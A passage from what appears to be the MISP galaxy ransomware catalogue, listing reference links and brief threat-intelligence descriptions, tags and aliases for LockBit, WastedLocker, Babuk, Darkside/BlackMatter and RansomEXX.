https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3

https://documents.trendmicro.com/assets/pdf/datasheet-ransomware-in-Q1-2022.pdf

https://github.com/albertzsigovits/malware-notes/blob/master/Ransomware/Lockbit.md

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

https://id-ransomware.blogspot.com/search?q=lockbit

https://intel471.com/blog/conti-ransomware-cooperation-maze-lockbit-ragnar-locker

https://intel471.com/blog/privateloader-malware

https://ke-la.com/lockbit-2-0-interview-with-russian-osint/

https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/

https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf

https://medium.com/@amgedwageh/lockbit-ransomware-analysis-notes-93a542fc8511

https://medium.com/s2wlab/w4-jan-en-story-of-the-week-ransomware-on-the-darkweb-7595544363b1

https://medium.com/s2wlab/w4-july-en-story-of-the-week-ransomware-on-the-darkweb-c61965d0386a

https://news.sophos.com/en-us/2020/04/24/lockbit-ransomware-borrows-tricks-to-keep-up-with-revil-and-maze/

https://news.sophos.com/en-us/2020/10/21/lockbit-attackers-uses-automated-attack-tools-to-identify-tasty-targets

https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/

https://news.sophos.com/en-us/2022/04/12/attackers-linger-on-government-agency-computers-before-deploying-lockbit-ransomware/

https://redcanary.com/blog/intelligence-insights-november-2021/

https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack

https://securelist.com/modern-ransomware-groups-ttps/106824/

https://securelist.com/new-ransomware-trends-in-2022/106457/

https://securityintelligence.com/posts/lockbit-ransomware-attacks-surge-affiliate-recruitment/

https://securityscorecard.com/research/the-increase-in-ransomware-attacks-on-local-governments

https://seguranca-informatica.pt/malware-analysis-details-on-lockbit-ransomware/

https://skyblue.team/posts/hive-recovery-from-lockbit-2.0/

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockbit-targets-servers

https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf

https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/481/original/010421_LockBit_Interview.pdf

https://techcommunity.microsoft.com/t5/security-compliance-and-identity/part-1-lockbit-2-0-ransomware-bugs-and-database-recovery/ba-p/3254354

https://techcommunity.microsoft.com/t5/security-compliance-and-identity/part-2-lockbit-2-0-ransomware-bugs-and-database-recovery/ba-p/3254421

https://therecord.media/an-interview-with-blackmatter-a-new-ransomware-group-thats-learning-from-the-mistakes-of-darkside-and-revil/

https://therecord.media/australian-cybersecurity-agency-warns-of-spike-in-lockbit-ransomware-attacks/

https://therecord.media/conti-ransomware-gang-chats-leaked-by-pro-ukraine-member/

https://therecord.media/missed-opportunity-bug-in-lockbit-ransomware-allowed-free-decryptions/

https://twitter.com/MsftSecIntel/status/1522690116979855360

https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-blackmatter-lockbit-thor

https://unit42.paloaltonetworks.com/emerging-ransomware-groups/

https://unit42.paloaltonetworks.com/lockbit-2-ransomware/

https://www.advanced-intel.com/post/from-russia-with-lockbit-ransomware-inside-look-preventive-solutions

https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-moves-victims-to-lockbit-after-shutdown/

https://www.bleepingcomputer.com/news/security/energy-group-erg-reports-minor-disruptions-after-ransomware-attack/

https://www.bleepingcomputer.com/news/security/lockbit-ransomware-gang-claims-attack-on-bridgestone-americas/

https://www.bleepingcomputer.com/news/security/lockbit-ransomware-gang-gets-aggressive-with-triple-extortion-tactic/

https://www.bleepingcomputer.com/news/security/lockbit-ransomware-now-encrypts-windows-domains-using-group-policies/

https://www.bleepingcomputer.com/news/security/lockbit-ransomware-recruiting-insiders-to-breach-corporate-networks/

https://www.bleepingcomputer.com/news/security/popular-russian-hacking-forum-xss-bans-all-ransomware-topics/

https://www.bleepingcomputer.com/news/security/ransomware-attack-hits-italys-lazio-region-affects-covid-19-site/

https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-april-1st-2022-i-can-fight-with-a-keyboard/

https://www.bleepingcomputer.com/news/security/uk-rail-network-merseyrail-likely-hit-by-lockbit-ransomware/

https://www.connectwise.com/resources/lockbit-profile

https://www.coveware.com/blog/2022/1/26/ransomware-as-a-service-innovation-curve

https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound

https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/

https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1

https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/

https://www.crowdstrike.com/blog/how-crowdstrike-prevents-volume-shadow-tampering-by-lockbit-ransomware/

https://www.crypsisgroup.com/insights/ransomwares-new-trend-exfiltration-and-extortion

https://www.cybereason.com/blog/rising-threat-from-lockbit-ransomware

https://www.cybereason.com/blog/threat-analysis-report-inside-the-lockbit-arsenal-the-stealbit-exfiltration-tool

https://www.cybereason.com/blog/threat-analysis-report-lockbit-2.0-all-paths-lead-to-ransom

https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/

https://www.dr.dk/nyheder/viden/teknologi/frygtede-skulle-lukke-alle-vindmoeller-nu-aabner-vestas-op-om-hacking-angreb

https://www.glimps.fr/lockbit3-0/

https://www.intrinsec.com/alphv-ransomware-gang-analysis

https://www.lemagit.fr/actualites/252516821/Ransomware-LockBit-30-commence-a-etre-utilise-dans-des-cyberattaques

https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions

https://www.mbsd.jp/2021/10/27/assets/images/MBSD_WhitePaper_A-deep-dive-analysis-of-LockBit2.0_Ransomware.pdf

https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/

https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/

https://www.netskope.com/blog/netskope-threat-coverage-lockbit

https://www.prodaft.com/m/reports/LockBit_Case_Report_TLPWHITE.pdf

https://www.recordedfuture.com/blackmatter-ransomware-successor-darkside-revil/

https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool/

https://www.sentinelone.com/labs/lockbit-3-0-update-unpicking-the-ransomwares-latest-anti-analysis-and-evasion-techniques/

https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility

https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/

https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html

https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf

https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/d/thwarting-loaders-from-socgholish-to-blisters-lockbit-payload/iocs-thwarting-loaders-socgholish-blister.txt

https://www.trendmicro.com/en_no/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html

https://www.trendmicro.com/en_us/research/21/h/lockbit-resurfaces-with-version-2-0-ransomware-detections-in-chi.html

https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html
https://www.trendmicro.com/en_us/research/22/g/lockbit-ransomware-group-augments-its-latest-variant—lockbit-3-.html
https://www.trendmicro.com/vinfo/us/security/news/ransomware-by-the-numbers/lockbit-conti-and-blackcat-lead-pack-amid-rise-in-active-raas-and-extortion-groups-ransomware-in-q1-2022
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-lockbit
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://www.youtube.com/watch?v=C733AyPzkoc
https://www.zdnet.com/article/ransomware-hits-helicopter-maker-kopter/
https://yoroi.company/research/hunting-the-lockbit-gangs-exfiltration-infrastructures/
https://www.ransomlook.io/group/lockbit

WastedLocker

WastedLocker primarily targets corporate networks. Upon initial compromise, often using a fake browser update containing SocGholish, the actor then takes advantage of dual-use and LoLBin tools in an attempt to evade detection. Key observations include lateral movement and privilege escalation. The WastedLocker ransomware has been tied back to EvilCorp.

The tag is: *misp-galaxy:ransomware="WastedLocker"*

Table 13603. Table References

Links
https://blogs.cisco.com/security/talos/wastedlocker-goes-big-game-hunting-in-2020
https://blog.malwarebytes.com/threat-spotlight/2020/07/threat-spotlight-wastedlocker-customized-ransomware/
https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/

Babuk Ransomsware

Since this is the first detection of this malware in the wild, it’s not surprising that Babuk is not obsfuscated at all. Overall, it’s a pretty standard ransomware that utilizes some of the new techniques we see such as multi-threading encryption as well as abusing the Windows Restart Manager similar to Conti and REvil. For encrypting scheme, Babuk uses its own implementation of SHA256 hashing, ChaCha8 encryption, and Elliptic-curve Diffie–Hellman (ECDH) key generation and exchange algorithm to protect its keys and encrypt files. Like many ransomware that came before, it also has the ability to spread its encryption through enumerating the available network resources.

The tag is: *misp-galaxy:ransomware="Babuk Ransomsware"*

Table 13604. Table References

Links
http://chuongdong.com//reverse%20engineering/2021/01/03/BabukRansomware/

Darkside

Darkside, the latest ransomware operation to emerge has been attacking organizations beginning earlier this month. Darkside's customized attacks on companies have already garnered them million-dollar payouts. Through their "press release", these threat actors have claimed to be affiliated with prior ransomware operations making millions of dollars. They stated that they created this new product to match their needs, as prior products didn't. Darkside explains that they only target companies they know that can pay the specified ransom. They have allegedly promised that they will not attack the following sectors. They include medicine, education, non-profit organizations, and the government sector.

The tag is: *misp-galaxy:ransomware="Darkside"*

Darkside is also known as:

- BlackMatter

Table 13605. Table References

Links
https://www.digitalshadows.com/blog-and-research/darkside-the-new-ransomware-group-behind-highly-targeted-attacks/
https://www.wired.com/story/ransomware-gone-corporate-darkside-where-will-it-end/
https://darksidedxcftmqa.onion.foundation/
https://www.tripwire.com/state-of-security/featured/blackmatter-pose-new-ransomware-threat
https://venturebeat.com/2021/08/23/sophoslabs-research-shows-blackmatter-ransomware-is-closely-acquainted-with-darkside
https://blog.group-ib.com/blackmatter#
https://blog.group-ib.com/blackmatter2
https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html
https://blogs.blackberry.com/en/2021/09/threat-thursday-blackmatter-ransomware-as-a-service
https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html
https://medium.com/s2wlab/blackmatter-x-babuk-using-the-same-web-server-for-sharing-leaked-files-d01c20a74751
https://medium.com/s2wlab/groove-x-ramp-the-relation-between-groove-babuk-ramp-and-blackmatter-f75644f8f92d
https://medium.com/s2wlab/grooves-thoughts-on-blackmatter-babuk-and-interruption-in-the-supply-of-cheese-in-the-b5328bc764f2

https://news.sophos.com/en-us/2021/08/09/blackmatter-ransomware-emerges-from-the-shadow-of-darkside/

https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf

https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html

https://therecord.media/darkside-ransomware-gang-moves-some-of-its-bitcoin-after-revil-got-hit-by-law-enforcement/

https://twitter.com/GelosSnake/status/1451465959894667275

https://twitter.com/VK_Intel/status/1423188690126266370

https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-blackmatter-lockbit-thor

https://us-cert.cisa.gov/ncas/alerts/aa21-291a

https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-moves-victims-to-lockbit-after-shutdown/

https://www.bleepingcomputer.com/news/security/darkside-ransomware-rushes-to-cash-out-7-million-in-bitcoin/

https://www.bleepingcomputer.com/news/security/linux-version-of-blackmatter-ransomware-targets-vmware-esxi-servers/

https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/

https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/

https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/

https://www.elliptic.co/blog/darkside-bitcoins-on-the-move-following-government-cyberattack-against-revil-ransomware-group

https://www.hhs.gov/sites/default/files/demystifying-blackmatter.pdf

https://www.mandiant.com/resources/chasing-avaddon-ransomware

https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/how-groove-gang-is-shaking-up-the-ransomware-as-a-service-market-to-empower-affiliates/

https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself

https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf

https://www.youtube.com/watch?v=NIiEcOryLpI

https://assets.virustotal.com/reports/2021trends.pdf

https://blog.digital-investigations.info/2021-08-05-understanding-blackmatters-api-hashing.html

https://blog.minerva-labs.com/blackmatter

https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus

https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf

https://chuongdong.com/reverse%20engineering/2021/09/05/BlackMatterRansomware/

https://go.recordedfuture.com/hubfs/reports/MTP-2021-0804.pdf

https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf

https://ke-la.com/the-ideal-ransomware-victim-what-attackers-are-looking-for/

https://medium.com/s2wblog/blackcat-new-rust-based-ransomware-borrowing-blackmatters-configuration-31c8d330a809

https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/

https://raw.githubusercontent.com/antonioCoco/infosec-talks/main/InsomniHack_2022_Ransomware_Encryption_Internals.pdf

https://services.google.com/fh/files/misc/gcat_threathorizons_full_nov2021.pdf

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackmatter-data-exfiltration

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/noberus-blackcat-ransomware-ttps

https://therecord.media/blackmatter-ransomware-says-its-shutting-down-due-to-pressure-from-local-authorities/

https://www.ciphertechsolutions.com/rapidly-evolving-blackmatter-ransomware-tactics/

https://www.glimps.fr/lockbit3-0/

https://www.mandiant.com/resources/cryptography-blackmatter-ransomware

https://www.mcafee.com/blogs/enterprise/blackmatter-ransomware-analysis-the-dark-side-returns/

https://www.microsoft.com/security/blog/2022/04/13/dismantling-zloader-how-malicious-ads-led-to-disabled-security-tools-and-ransomware/

https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/

https://www.netskope.com/blog/netskope-threat-coverage-blackmatter

https://www.nozominetworks.com/blog/blackmatter-ransomware-technical-analysis-and-tools-from-nozomi-networks-labs/

https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html

https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf

https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf

https://www.tesorion.nl/en/posts/analysis-of-the-blackmatter-ransomware/

https://www.theregister.com/2022/03/22/talos-ransomware-blackcat/

https://www.trendmicro.com/en_us/research/22/g/lockbit-ransomware-group-augments-its-latest-variant—lockbit-3-.html

https://www.varonis.com/blog/blackmatter-ransomware/

http://chuongdong.com/reverse%20engineering/2021/05/06/DarksideRansomware/

http://ti.dbappsecurity.com.cn/blog/index.php/2021/05/10/darkside/

https://asec.ahnlab.com/en/34549/

https://blog.360totalsecurity.com/en/darksides-targeted-ransomware-analysis-report-for-critical-u-s-infrastructure-2/

https://blog.cyble.com/2021/08/05/blackmatter-under-the-lens-an-emerging-ransomware-group-looking-for-affiliates/

https://blog.gigamon.com/2021/05/17/tracking-darkside-and-ransomware-the-network-view/

https://blogs.keysight.com/blogs/tech/nwvs.entry.html/2021/05/18/darkside_ransomware-QfsV.html

https://blueteamblog.com/darkside-ransomware-operations-preventions-and-detections

https://brandefense.io/darkside-ransomware-analysis-report/

https://chuongdong.com/reverse%20engineering/2021/05/06/DarksideRansomware/

https://community.riskiq.com/article/fdf74f23

https://cybergeeks.tech/a-step-by-step-analysis-of-a-new-version-of-darkside-ransomware/

https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3

https://ghoulsec.medium.com/mal-series-13-darkside-ransomware-c13d893c36a6

https://github.com/Haxrein/Malware-Analysis-Reports/blob/main/darkside_ransomware_technical_analysis_report.pdf

https://github.com/sisoma2/malware_analysis/tree/master/blackmatter

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

https://id-ransomware.blogspot.com/2020/08/darkside-ransomware.html

https://id-ransomware.blogspot.com/2021/07/blackmatter-ransomware.html

https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/

https://krebsonsecurity.com/2021/05/a-closer-look-at-the-darkside-ransomware-gang/

https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/

https://labs.bitdefender.com/2021/01/darkside-ransomware-decryption-tool/

https://medium.com/s2wlab/w1-jun-en-story-of-the-week-ransomware-on-the-darkweb-af491d33868b

https://news.sophos.com/en-us/2021/05/11/a-defenders-view-inside-a-darkside-ransomware-attack/

https://securityintelligence.com/posts/darkside-oil-pipeline-ransomware-attack/

https://securityscorecard.com/blog/new-evidence-supports-assessment-that-darkside-likely-responsible-for-colonial-pipeline-ransomware-attack-others-targeted

https://socprime.com/blog/affiliates-vs-hunters-fighting-the-darkside/

https://symantec.broadcom.com/hubfs/Attacks-Against-Critical_Infrastructrure.pdf

https://therecord.media/an-interview-with-blackmatter-a-new-ransomware-group-thats-learning-from-the-mistakes-of-darkside-and-revil/

https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/

https://therecord.media/popular-hacking-forum-bans-ransomware-ads/

https://therecord.media/ransomware-gang-wants-to-short-the-stock-price-of-their-victims/

https://threatpost.com/guess-fashion-data-loss-ransomware/167754/

https://twitter.com/JAMESWT_MHT/status/1388301138437578757

https://twitter.com/ValthekOn/status/1422385890467491841?s=20

https://twitter.com/sysopfb/status/1422280887274639375

https://unit42.paloaltonetworks.com/darkside-ransomware/

https://us-cert.cisa.gov/ncas/alerts/aa21-131a

https://us-cert.cisa.gov/ncas/analysis-reports/ar21-189a

https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/

https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion

https://www.acronis.com/en-us/articles/darkside-ransomware/

https://www.advanced-intel.com/post/from-dawn-to-silent-night-darkside-ransomware-initial-attack-vector-evolution

https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-gang-rises-from-the-ashes-of-darkside-revil/

https://www.bleepingcomputer.com/news/security/chemical-distributor-pays-44-million-to-darkside-ransomware/

https://www.bleepingcomputer.com/news/security/darkside-affiliates-claim-gangs-bitcoins-in-deposit-on-hacker-forum/

https://www.bleepingcomputer.com/news/security/darkside-ransomware-gang-returns-as-new-blackmatter-operation/

https://www.bleepingcomputer.com/news/security/darkside-ransomware-is-creating-a-secure-data-leak-service-in-iran/

https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/

https://www.bleepingcomputer.com/news/security/darkside-ransomware-servers-reportedly-seized-revil-restricts-targets/

https://www.bleepingcomputer.com/news/security/popular-russian-hacking-forum-xss-bans-all-ransomware-topics/

https://www.bleepingcomputer.com/news/security/us-chemical-distributor-shares-info-on-darkside-ransomware-data-theft/

https://www.bloomberg.com/news/articles/2021-05-13/colonial-pipeline-paid-hackers-nearly-5-million-in-ransom

https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound

https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/

https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/

https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout

https://www.crowdstrike.com/blog/falcon-protects-from-darkside-ransomware/

https://www.crowdstrike.com/blog/how-ransomware-adversaries-reacted-to-the-darkside-pipeline-attack/

https://www.crowdstrike.com/blog/how-to-defend-against-conti-darkside-revil-and-other-ransomware/

https://www.cybereason.com/blog/cybereason-vs-darkside-ransomware

https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/

https://www.databreaches.net/a-chat-with-darkside/

https://www.databreachtoday.com/blogs/darkside-ransomware-gang-launches-affiliate-program-p-2968

https://www.deepinstinct.com/2021/06/04/the-ransomware-conundrum-a-look-into-darkside/

https://www.digitalshadows.com/blog-and-research/ransomware-as-a-service-rogue-affiliates-and-whats-next/

https://www.dragos.com/blog/industry-news/recommendations-following-the-colonial-pipeline-cyber-attack/

https://www.elliptic.co/blog/darkside-ransomware-has-netted-over-90-million-in-bitcoin

https://www.elliptic.co/blog/elliptic-follows-bitcoin-ransoms-paid-by-darkside-ransomware-victims

https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html

https://www.flashpoint-intel.com/blog/darkside-ransomware-links-to-revil-difficult-to-dismiss/

https://www.fortinet.com/blog/threat-research/newly-discovered-function-in-darkside-ransomware-variant-targets-disk-partitions

https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/

https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox

https://www.ic3.gov/Media/News/2021/211101.pdf

https://www.intel471.com/blog/darkside-ransomware-colonial-pipeline-attack

https://www.intel471.com/blog/darkside-ransomware-shut-down-revil-avaddon-cybercrime

https://www.maltego.com/blog/chasing-darkside-affiliates-identifying-threat-actors-connected-to-darkside-ransomware-using-maltego-intel-471-1/

https://www.mandiant.com/resources/burrowing-your-way-into-vpns

https://www.mcafee.com/blogs/other-blogs/mcafee-labs/are-virtual-machines-the-new-gold-for-cyber-criminals/

https://www.metabaseq.com/recursos/inside-darkside-the-ransomware-that-attacked-colonial-pipeline#

https://www.nozominetworks.com/blog/colonial-pipeline-ransomware-attack-revealing-how-darkside-works/

https://www.nozominetworks.com/blog/how-to-analyze-malware-for-technical-writing/

https://www.recordedfuture.com/blackmatter-ransomware-successor-darkside-revil/

https://www.repubblica.it/economia/finanza/2021/04/28/news/un_sospetto_attacco_telematico_blocca_le_filiali_della_bcc_di_roma-298485827/

https://www.reuters.com/technology/colonial-pipeline-halts-all-pipeline-operations-after-cybersecurity-attack-2021-05-08/

https://www.secjuice.com/blue-team-detection-darkside-ransomware/

https://www.secureworks.com/research/threat-profiles/gold-waterfall

https://www.sentinelone.com/blog/meet-darkside-and-their-ransomware-sentinelone-customers-protected/

https://www.splunk.com/en_us/blog/security/darkside-ransomware-splunk-threat-update-and-detections.html

https://www.splunk.com/en_us/blog/security/the-darkside-of-the-ransomware-pipeline.html

https://www.technologyreview.com/2021/05/24/1025195/colonial-pipeline-ransomware-bitdefender/

https://www.trendmicro.com/en_us/research/21/e/what-we-know-about-darkside-ransomware-and-the-us-pipeline-attac.html

https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks

https://www.varonis.com/blog/darkside-ransomware/

https://www.wsj.com/articles/colonial-pipeline-ceo-tells-why-he-paid-hackers-a-4-4-million-ransom-11621435636

https://www.youtube.com/watch?v=qxPXxWMI2i4

https://zawadidone.nl/2020/10/05/darkside-ransomware-analysis.html

https://zawadidone.nl/darkside-ransomware-analysis/

https://zetter.substack.com/p/anatomy-of-one-of-the-first-darkside

https://www.ransomlook.io/group/blackmatter

https://blog.qualys.com/vulnerabilities-threat-research/2021/06/09/darkside-ransomware

https://www.varonis.com/blog/darkside-ransomware

https://abcnews.go.com/Politics/biden-speak-colonial-pipeline-attack-americans-face-gasoline/story?id=77666212
https://cybersecurity.att.com/blogs/labs-research/darkside-raas-in-linux-version
https://krebsonsecurity.com/2021/05/darkside-ransomware-gang-quits-after-servers-bitcoin-stash-seized/
https://otx.alienvault.com/pulse/60d0afbc395c24edefb33bb9
https://pylos.co/2021/05/13/mind-the-air-gap/
https://therecord.media/darkside-ransomware-gang-says-it-lost-control-of-its-servers-money-a-day-after-biden-threat/
https://www.databreaches.net/a-former-darkside-listing-shows-up-on-revils-leak-site/
https://www.guidepointsecurity.com/from-zloader-to-darkside-a-ransomware-story/
https://www.justice.gov/opa/pr/department-justice-seizes-23-million-cryptocurrency-paid-ransomware-extortionists-darkside
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/darkside-ransomware-victims-sold-short/
https://www.nytimes.com/2021/05/29/world/europe/ransomware-russia-darkside.html
https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html
https://www.secureworks.com/blog/ransomware-groups-use-tor-based-backdoor-for-persistent-access
https://www.trendmicro.com/en_us/research/21/e/darkside-linux-vms-targeted.html
https://www.ransomlook.io/group/darkside

RansomEXX

We recently discovered a new file-encrypting Trojan built as an ELF executable and intended to encrypt data on machines controlled by Linux-based operating systems. After the initial analysis we noticed similarities in the code of the Trojan, the text of the ransom notes and the general approach to extortion, which suggested that we had in fact encountered a Linux build of the previously known ransomware family RansomEXX. This malware is notorious for attacking large organizations and was most active earlier this year. RansomEXX is a highly targeted Trojan. Each sample of the malware contains a hardcoded name of the victim organization. Moreover, both the encrypted file extension and the email address for contacting the extortionists make use of the victim's name.

The tag is: *misp-galaxy:ransomware="RansomEXX"*

RansomEXX is also known as:

- Ransom X
- Defray777
- Defray-777

- Defray 2018

Table 13606. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ransomexx
https://id-ransomware.blogspot.com/2020/06/ransomexx-ransomware.html
https://github.com/Bleeping/Ransom.exx
https://www.bleepingcomputer.com/news/security/new-ransom-x-ransomware-used-in-texas-txdot-cyberattack/
https://www.bleepingcomputer.com/news/security/brazils-court-system-under-massive-ransomexx-ransomware-attack/
https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/4/
https://securelist.com/ransomexx-trojan-attacks-linux-systems/99279/
https://www.bleepingcomputer.com/news/security/computer-hardware-giant-gigabyte-hit-by-ransomexx-ransomware
https://www.cybereason.com/blog/cybereason-vs.-ransomexx-ransomware
https://www.infosecurity-magazine.com/news/aerospace-giant-embraer-hit
https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html
https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://gustavopalazolo.medium.com/ransomexx-an%C3%A1lise-do-ransomware-utilizado-no-ataque-ao-stj-918001ec8195
https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/
https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://www.bleepingcomputer.com/news/security/ecuadors-state-run-cnt-telco-hit-by-ransomexx-ransomware/
https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/
https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout
https://www.ctir.gov.br/arquivos/alertas/2020/alerta_2020_03_ataques_de_ransomware.pdf
https://www.ic3.gov/Media/News/2021/211101.pdf
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/

https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf
https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf
https://www.youtube.com/watch?v=qxPXxWMI2i4
https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html
https://medium.com/proferosec-osm/ransomexx-fixing-corrupted-ransom-8e379bcaf701
https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/
https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/3
https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/4
https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/5/
https://www.bleepingcomputer.com/news/security/ransomware-attack-hits-italys-lazio-region-affects-covid-19-site/
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/
https://www.trendmicro.com/en_us/research/21/a/expanding-range-and-improving-speed-a-ransomexx-approach.html
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx
https://www.ransomlook.io/group/ransomexx

CovidLock

